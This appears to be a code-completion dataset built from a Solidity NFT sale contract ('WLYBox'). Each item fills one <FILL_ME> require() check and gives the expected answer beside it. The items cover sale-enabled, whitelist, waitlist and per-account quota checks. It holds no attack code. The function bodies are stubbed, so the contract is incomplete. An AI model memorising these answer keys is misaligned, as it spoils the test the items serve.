uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { require(<FILL_ME>) require(isWhitelistAddress(_msgSender(), signature_), "caller is not in whitelist or invalid signature"); require(userMintCount[_msgSender()] < whitelistSaleConfig.mintQuota, "every account max supply exceeded"); _sale(getWhitelistSalePrice()); } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
isWhitelistSaleEnabled(),"whitelist sale has not enabled"
485,556
isWhitelistSaleEnabled()
"caller is not in whitelist or invalid signature"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { require(isWhitelistSaleEnabled(), "whitelist sale has not enabled"); require(<FILL_ME>) require(userMintCount[_msgSender()] < whitelistSaleConfig.mintQuota, "every account max supply exceeded"); _sale(getWhitelistSalePrice()); } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
isWhitelistAddress(_msgSender(),signature_),"caller is not in whitelist or invalid signature"
485,556
isWhitelistAddress(_msgSender(),signature_)
"every account max supply exceeded"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { require(isWhitelistSaleEnabled(), "whitelist sale has not enabled"); require(isWhitelistAddress(_msgSender(), signature_), "caller is not in whitelist or invalid signature"); require(<FILL_ME>) _sale(getWhitelistSalePrice()); } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
userMintCount[_msgSender()]<whitelistSaleConfig.mintQuota,"every account max supply exceeded"
485,556
userMintCount[_msgSender()]<whitelistSaleConfig.mintQuota
"waitlist sale has not enabled"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { require(<FILL_ME>) require(isWaitlistAddress(_msgSender(), signature_), "caller is not in waitlist or invalid signature"); require(userMintCount[_msgSender()] < waitlistSaleConfig.mintQuota, "every account max supply exceeded"); _sale(getWaitlistSalePrice()); } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
isWaitlistSaleEnabled(),"waitlist sale has not enabled"
485,556
isWaitlistSaleEnabled()
"caller is not in waitlist or invalid signature"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { require(isWaitlistSaleEnabled(), "waitlist sale has not enabled"); require(<FILL_ME>) require(userMintCount[_msgSender()] < waitlistSaleConfig.mintQuota, "every account max supply exceeded"); _sale(getWaitlistSalePrice()); } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
isWaitlistAddress(_msgSender(),signature_),"caller is not in waitlist or invalid signature"
485,556
isWaitlistAddress(_msgSender(),signature_)
"every account max supply exceeded"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { require(isWaitlistSaleEnabled(), "waitlist sale has not enabled"); require(isWaitlistAddress(_msgSender(), signature_), "caller is not in waitlist or invalid signature"); require(<FILL_ME>) _sale(getWaitlistSalePrice()); } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
userMintCount[_msgSender()]<waitlistSaleConfig.mintQuota,"every account max supply exceeded"
485,556
userMintCount[_msgSender()]<waitlistSaleConfig.mintQuota
"public sale has not enabled"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { require(<FILL_ME>) require(userMintCount[_msgSender()] < publicSaleConfig.mintQuota, "every account max supply exceeded"); _sale(getPublicSalePrice()); } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
isPublicSaleEnabled(),"public sale has not enabled"
485,556
isPublicSaleEnabled()
"every account max supply exceeded"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { require(isPublicSaleEnabled(), "public sale has not enabled"); require(<FILL_ME>) _sale(getPublicSalePrice()); } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
userMintCount[_msgSender()]<publicSaleConfig.mintQuota,"every account max supply exceeded"
485,556
userMintCount[_msgSender()]<publicSaleConfig.mintQuota
"max supply exceeded"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { require(<FILL_ME>) require(price_ <= msg.value, "ether value sent is not correct"); mintNFT(_msgSender()); } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function 